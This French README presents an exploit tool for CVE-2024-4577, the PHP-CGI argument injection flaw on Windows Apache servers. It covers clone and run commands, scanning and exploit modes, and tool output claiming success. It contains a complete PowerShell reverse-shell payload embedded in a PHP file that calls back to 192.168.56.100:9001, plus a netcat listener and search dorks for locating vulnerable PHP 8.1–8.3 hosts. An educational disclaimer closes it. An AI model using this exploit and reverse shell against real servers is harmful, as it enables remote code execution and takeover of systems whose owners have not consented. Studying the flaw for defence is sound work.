
Exploit pour l'injection d'arguments PHP CGI (CVE-2024-4577) permettant l'exécution de code à distance sur des serveurs Windows vulnérables exécutant Apache et PHP-CGI. Inclut le scan, l'exploitation et la livraison de payloads reverse shell.
Dans les versions de PHP 8.1.* antérieures à 8.1.29, 8.2.* antérieures à 8.2.20 et 8.3.* antérieures à 8.3.8, lors de l'utilisation d'Apache et de PHP-CGI sous Windows, si le système est configuré pour utiliser certains codepages, Windows peut utiliser le comportement « Best-Fit » pour remplacer les caractères de la ligne de commande passée aux fonctions de l'API Win32. Le module PHP CGI peut alors interpréter ces caractères comme des options PHP, ce qui peut permettre à un utilisateur malveillant de passer des options au binaire PHP exécuté, et ainsi révéler le code source des scripts, exécuter du code PHP arbitraire sur le serveur, etc.
« XAMPP est vulnérable dans sa configuration par défaut, et nous pouvons cibler le point de terminaison /php-cgi/php-cgi.exe. Pour cibler un point de terminaison .php exploitable (par exemple /index.php), le serveur doit être configuré pour exécuter les scripts PHP en mode CGI. »
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Cet outil démontre des techniques et tactiques d'attaque réalistes (TTPs). Cependant, cet exemple de payload ne fonctionne pas dans ce scénario. Modifiez le shell.php pour obtenir un payload pleinement fonctionnel.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Target https://target.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Exploit successful!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Cet outil est fourni à des fins éducatives et de recherche uniquement. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.